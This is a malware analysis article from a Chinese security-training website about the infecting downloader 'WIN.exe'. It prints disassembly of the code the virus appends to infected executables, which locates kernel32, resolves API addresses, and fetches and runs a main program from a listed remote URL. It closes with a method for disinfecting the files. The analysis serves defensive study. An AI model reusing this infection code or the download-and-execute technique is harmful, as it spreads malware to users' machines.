首页 实地培训 VIP专区 文章中心 下载中心 精品动画 安全服务 安全产品 企业文化
技术论坛
 -->开创网络首先基于以学员为中心的人性化教学方式。以案例式教学、互动式教学为主线。
 
  当前位置: 首页 > 文章中心 > EXP代码 >
 
 
感染型下载者WIN.exe部分行为分析(下)
发布者ID:3 作者: 发布时间:2008-07-02 01:04:46 来源: 点击:
 

二、被感染文件中加入的内容及其行为分析
程序被感染后,加入一个.WIN节,入口点指向其中
最前面0C5的内容是“数据区”,其中可明显看出有意义的部分,包括以下内容(以下地址为相对.WIN节头的偏移):
***************************************************************************************************
1. 预留空间保存变量(在被感染程序运行时,先运行的代码会向这部分写入数据)
+00H   urlmon的基址
+04H   GetProcAddress函数地址
+08H   LoadLibraryA函数地址
+0CH   FreeLibrary函数地址
+10H   ExitProcess函数地址
+14H   GetModuleHandleA函数地址
+18H   URLDownloadToFileA函数地址
+1CH   WinExec函数地址
2. 用到的字符串常量:
+20H   "LoadLibraryA",0
+2DH   "FreeLibrary",0
+39H   "ExitProcess",0
+45H   "GetModuleHandleA",0
+56H   "WinExec",0
+5FH   "urlmon",0
+66H   "URLDownloadToFileA",0
+79H   "http://ttt.wokaon.cn/main.exe",0
+97H   "c:\Program Files\Common Files\WIN.exe",0
……………………
3. 保存的程序原基址和入口点,代码执行后读取这里,并跳回原入口点执行。要修复被感染文件,也要知道这两个值:
+BDH   程序原ImageBase
+C1H   程序原AddressOfEntryPoint
***************************************************************************************************
+C5H开始,将是加入的代码(病毒主文件内存中的13152BF8到13152D88的内容)
我直接在病毒主文件里面看了,OD里反汇编分析了下,大致如下:
13152C04是入口。
***************************************************************************************************
13152BFD 58              pop     eax                                     ; pop得到EIP,即此句代码位置
13152BFE 83E8 05       sub     eax, 5                                  ; call代码的位置
13152C01 C3              retn
13152C02 8BC0          mov     eax, eax
13152C04 55              push ebp                                     ; 入口
13152C05 8BEC          mov     ebp, esp
13152C07 83C4 EC       add     esp, -14
13152C0A 53              push ebx
13152C0B 56              push esi
13152C0C 57              push edi
13152C0D 8D75 FC       lea     esi, dword ptr [ebp-4]                   ; 程序初始化时,堆栈中的指向kernel32.dll内的一个地址
***************************************************************************************************
接下来一段是花指令:
***************************************************************************************************
13152C10 EB 01           jmp     short 13152C13
13152C12 90              nop                                              ; 原是E8,是加花
13152C13 90              nop
13152C14 90              nop
13152C15 90              nop
13152C16 90              nop
13152C17 90              nop
13152C18 90              nop
13152C19 EB 01           jmp     short 13152C1C
13152C1B 90              nop                                              ; 原是E8,是加花
13152C1C 90              nop
13152C1D 90              nop
***************************************************************************************************
下面才接着又是有意义的:
***************************************************************************************************
13152C1E /EB 0F           jmp     short 13152C2F
13152C20 |8138 4D5A9000 cmp     dword ptr [eax], 905A4D                    ; 找kernel32.dll的MZ头,定位其基址
13152C26 |74 12           je    short 13152C3A                             ; 找到后跳出,这时eax为kernel32.dll的基址
13152C28 |2D 00100000     sub     eax, 1000
13152C2D   ^|EB F1           jmp     short 13152C20
13152C2F \8B4424 14    mov     eax, dword ptr [esp+14]
13152C33 25 0000FFFF     and     eax, FFFF0000
13152C38   ^ EB E6           jmp     short 13152C20
13152C3A 8945 FC       mov     dword ptr [ebp-4], eax                   ; 保存kernel32.dll基址
***************************************************************************************************
通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址,循环后退找kernel32.dll的DOS文件头(MZ)所在位置,从而定位kernel32.dll的基址
***************************************************************************************************
13152C3D E8 B6FFFFFF     call 13152BF8                                   ; 定位代码位置
13152C42 2D C5000000     sub     eax, 0C5                                   ; eax=.WIN节头
13152C47 8945 F4       mov     dword ptr [ebp-C], eax                   ; 保存.WIN节头地址
***************************************************************************************************
call到的子函数看前面,通过一个虚假的call来诱使EIP入栈,再pop出来,从而在内存中定位了自己的代码位置,确定了.WIN节头地址,从而在读写前面C5H大小的数据区时就有目标了。
***************************************************************************************************
13152C4A 8B06          mov     eax, dword ptr [esi]                       ; esi=ebp-4,此时为kernel32.dll基址
13152C4C 8B40 3C       mov     eax, dword ptr [eax+3C]                    ; MZ头地址+3C,PE头地址
13152C4F 0306          add     eax, dword ptr [esi]
13152C51 8B40 78       mov     eax, dword ptr [eax+78]                    ; PE偏移78H,DataDirectory开头,输出表地址
13152C54 0306          add     eax, dword ptr [esi]
13152C56 8BC8          mov     ecx, eax                                   ; ecx=输出表VA
13152C58 8B51 20       mov     edx, dword ptr [ecx+20]                    ; AddressOfNames
13152C5B 0316          add     edx, dword ptr [esi]
13152C5D 8B59 24       mov     ebx, dword ptr [ecx+24]                    ; AddressOfNameOrdinals
13152C60 031E          add     ebx, dword ptr [esi]
13152C62 895D F0       mov     dword ptr [ebp-10], ebx                    ; AddressOfNameOrdinals
13152C65 8B59 1C       mov     ebx, dword ptr [ecx+1C]                    ; AddressOfFunctions
13152C68 031E          add     ebx, dword ptr [esi]
13152C6A 895D EC       mov     dword ptr [ebp-14], ebx                    ; AddressOfFunctions
13152C6D 8B41 18       mov     eax, dword ptr [ecx+18]                    ; NumberOfNames
13152C70 8BC8          mov     ecx, eax
13152C72 49              dec     ecx
13152C73 85C9          test ecx, ecx
13152C75 72 5A           jb    short 13152CD1
13152C77 41              inc     ecx
***************************************************************************************************
这里用到PE文件的知识了,通过读取kernel32.dll的PE文件结构,找到并读取其输出表,目的,当然是为了在输出表里检索函数。
***************************************************************************************************
13152C78 33C0          xor     eax, eax
13152C7A 8BD8          mov     ebx, eax                                   ; eax=第几个函数(0开始)此处为循环,目的是为了找到GetProcAddressA函数的地址
13152C7C C1E3 02       shl     ebx, 2                                  ; ebx*4
13152C7F 03DA          add     ebx, edx                                   ; edx=AddressOfNames
13152C81 8B3B          mov     edi, dword ptr [ebx]
13152C83 033E          add     edi, dword ptr [esi]
13152C85 813F 47657450 cmp     dword ptr [edi], 50746547                ; GetP
13152C8B 75 40           jnz     short 13152CCD
13152C8D 8BDF          mov     ebx, edi
13152C8F 83C3 04       add     ebx, 4
13152C92 813B 726F6341 cmp     dword ptr [ebx], 41636F72                ; rocA
13152C98 75 33           jnz     short 13152CCD
13152C9A 8BDF          mov     ebx, edi
13152C9C 83C3 08       add     ebx, 8
13152C9F 813B 64647265 cmp     dword ptr [ebx], 65726464                ; ddre
13152CA5 75 26           jnz     short 13152CCD
13152CA7 83C7 0C       add     edi, 0C
13152CAA 66:813F 7373 cmp     word ptr [edi], 7373                       ; ss
13152CAF 75 1C           jnz     short 13152CCD
13152CB1 8BD0          mov     edx, eax
13152CB3 03D2          add     edx, edx
13152CB5 0355 F0       add     edx, dword ptr [ebp-10]                    ; AddressOfNameOrdinals
13152CB8 0FB712       movzx edx, word ptr [edx]
13152CBB C1E2 02       shl     edx, 2
13152CBE 0355 EC       add     edx, dword ptr [ebp-14]                    ; AddressOfFunctions
13152CC1 8B12          mov     edx, dword ptr [edx]
13152CC3 0316          add     edx, dword ptr [esi]                       ; edx=函数地址
13152CC5 8B4D F4       mov     ecx, dword ptr [ebp-C]                   ; ecx=.WIN段首VA
13152CC8 8951 04       mov     dword ptr [ecx+4], edx                   ; 保存GetProcAddress的VA
13152CCB EB 04           jmp     short 13152CD1
13152CCD 40              inc     eax
13152CCE 49              dec     ecx
13152CCF   ^ 75 A9           jnz     short 13152C7A

***************************************************************************************************
循环查找输出表,找到进程空间中GetProcAddress函数的地址
找到这个,又有kernel32.dll的基址,就可以调用GetProcAddress函数获得kernel32.dll中的其他所需函数的地址了:
***************************************************************************************************
13152CD1 8B5D F4       mov     ebx, dword ptr [ebp-C]                   ; .WIN段首VA
13152CD4 8D43 20       lea     eax, dword ptr [ebx+20]                    ; LoadLibraryA
13152CD7 50              push eax
13152CD8 8B06          mov     eax, dword ptr [esi]                       ;
13152CDA 50              push eax
13152CDB FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress
13152CDE 8943 08       mov     dword ptr [ebx+8], eax                   ; [.WIN+8]=LoadLibraryA的入口VA
…………………………………………
13152D08 8D43 56       lea     eax, dword ptr [ebx+56]                    ; WinExec
13152D0B 50              push eax
13152D0C 8B06          mov     eax, dword ptr [esi]
13152D0E 50              push eax
13152D0F FF53 04       call dword ptr [ebx+4]
13152D12 8943 1C       mov     dword ptr [ebx+1C], eax                    ; WinExec
***************************************************************************************************
就这样相继获得了四个由kernel32.dll导出的函数的地址,保存的位置如下(看前面对数据的说明):
***************************************************************************************************
+04H   GetProcAddress函数地址
+08H   LoadLibraryA函数地址
+0CH   FreeLibrary函数地址
+10H   ExitProcess函数地址
+14H   GetModuleHandleA函数地址
+1CH   WinExec函数地址
***************************************************************************************************
LoadLibraryA函数有了,现在就可以获取urlmon的基址,进而获取URLDownloadToFileA的入口点地址了:
***************************************************************************************************
13152D15 8D43 5F       lea     eax, dword ptr [ebx+5F]                    ; urlmon
13152D18 50              push eax
13152D19 FF53 08       call dword ptr [ebx+8]                          ; LoadLibraryA
13152D1C 8BF0          mov     esi, eax                                   ; esi=urlmon.dll的基址
13152D1E 8933          mov     dword ptr [ebx], esi                       ; 保存于.WIN段首
13152D20 8D43 66       lea     eax, dword ptr [ebx+66]                    ; URLDownloadToFileA
13152D23 50              push eax
13152D24 56              push esi                                     ; urlmon
13152D25 FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress
13152D28 8943 18       mov     dword ptr [ebx+18], eax                    ; 保存URLDownloadToFileA地址
***************************************************************************************************
千辛万苦获得这些地址,当然是为了调用它们。
这个病毒与前段时间的logogogo.exe系列(其实也就是以前的Delf系列)不一样。
logogogo.exe系列的作法,是将病毒主程序内容整个保存在新加的节里,然后用CreateFileA和WriteFile(也是经过上面这样的方式获取到它们的地址)来释放,并用WinExec运行病毒主程序。
而这个病毒,不愧是“下载者”,连主程序也是直接从网上下载(所以有那个URL地址)。
***************************************************************************************************
13152D2B 6A 05           push 5
13152D2D 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址(看上面数据区)
13152D33 50              push eax
13152D34 FF53 1C       call dword ptr [ebx+1C]                      ; WinExec
13152D37 83F8 20       cmp     eax, 20
13152D3A 73 24           jnb     short 13152D60                             ; 运行成功,就不用从网上再下载,不成功,才会接下来下载
13152D3C 6A 00           push 0
13152D3E 6A 00           push 0
13152D40 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址
13152D46 50              push eax
13152D47 8D43 79       lea     eax, dword ptr [ebx+79]                    ; 病毒主程序远程URL地址(看上面数据区)
13152D4A 50              push eax
13152D4B 6A 00           push 0
13152D4D FF53 18       call dword ptr [ebx+18]                      ; URLDownloadToFileA
13152D50 85C0          test eax, eax
13152D52 75 0C           jnz     short 13152D60                             ; 下载不成功,就不WinExec了
13152D54 6A 05           push 5
13152D56 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址
13152D5C 50              push eax
13152D5D FF53 1C       call dword ptr [ebx+1C]                      ; WinExec
***************************************************************************************************
先试着按主程序本地地址,WinExec运行之,成功了,就OK,不成功(病毒主程序不存在),则用URLDownloadToFileA连网下载主程序,下载成功了再WinExec运行之。
至此病毒的功能完成,最后是“擦屁股”(把因需要Load上来的urlmon.dll再free一次)并退出这段代码,跳回被感染程序的原入口点执行:
***************************************************************************************************
13152D60 8B03          mov     eax, dword ptr [ebx]                       ; urlmon基址
13152D62 50              push eax
13152D63 FF53 0C       call dword ptr [ebx+C]                          ; FreeLibrary
13152D66 8B83 BD000000 mov     eax, dword ptr [ebx+BD]                    ; 原文件基址
13152D6C 0383 C1000000 add     eax, dword ptr [ebx+C1]                    ; 原文件入口点
13152D72 8945 F8       mov     dword ptr [ebp-8], eax
13152D75 8B45 F8       mov     eax, dword ptr [ebp-8]
13152D78 FFE0          jmp     eax                                     ; Go!跳回原文件入口点
***************************************************************************************************
代码的最后,并不是代码中直接调用,可能是本身的消息处理函数(由系统调用),收到WM_QUIT消息之后就会ExitProcess
***************************************************************************************************
13152D7A 6A 00           push 0
13152D7C FF53 10       call dword ptr [ebx+10]                      ; ExitProcess
13152D7F 5F              pop     edi
13152D80 5E              pop     esi
13152D81 5B              pop     ebx
13152D82 8BE5          mov     esp, ebp
13152D84 5D              pop     ebp
13152D85 C3              retn
13152D86 8BC0          mov     eax, eax
13152D88 C3              retn
***************************************************************************************************
至此被感染EXE和SCR文件被加入的代码分析完毕。概括起来它要达到的行为:
尝试调用WinExec运行病毒主程序(.WIN+97H处开始,这里为c:\Program Files\Common Files\WIN.exe)
若运行不成功,则调用URLDownloadToFileA从网上下载主程序,再运行(下载地址于.WIN+79H处开始)
最后跳回原程序入口点执行。

三、被感染文件修复方法简要说明
知道了它的行为,特别是原入口点和基址存在哪里,那修复起来就容易了。
先读最后一个IMAGE_SECTION_HEADER结构,看是否是.WIN节,程序EntryPointer是否指向此节内,如果是,则初步可以判断是被感染了。

定位.WIN节开始地址,读取以下量:
+BDH   程序原ImageBase
+C1H   程序原AddressOfEntryPoint

修改PE文件结构
将IMAGE_OPTIONAL_HEADER32中的ImageBase和AddressOfEntryPoint改回
NumberOfSections减1
抹去增加的一个IMAGE_SECTION_HEADER结构
删除最后一个.WIN节的内容等。

*不同的变种,节名和偏移量肯定有所不同,要靠杀软对被添加的代码取特征了。其中,定位到
***************************************************************************************************
13152D66 8B83 BD000000 mov     eax, dword ptr [ebx+BD]                    ; 原文件基址
13152D6C 0383 C1000000 add     eax, dword ptr [ebx+C1]                    ; 原文件入口点
***************************************************************************************************
这两行代码,找到BD000000和C1000000(不同变种可能不同,但是都是类似的两句)这两个偏移量,就可以找到原ImageBase和AddressOfEntryPoint



 
 
 
 
   
 
   
     
  • 课堂实景
  • 课程体系
  • 培训课程
  • 学费介绍
  • 巧用mstsc命令登录到console的方法
  • 课程介绍
  • 团队介绍
  • Linkideo免费Vpn
  • 就业前景
  • 汇款方式
  •  
     
     
    无标题文档
    一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网
      关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 友情链接  
      版权所有:吉林省开创科技信息有限公司  
      服务热线:0431-84714442
    Copyright 2001 - 2007 All Rights Reserved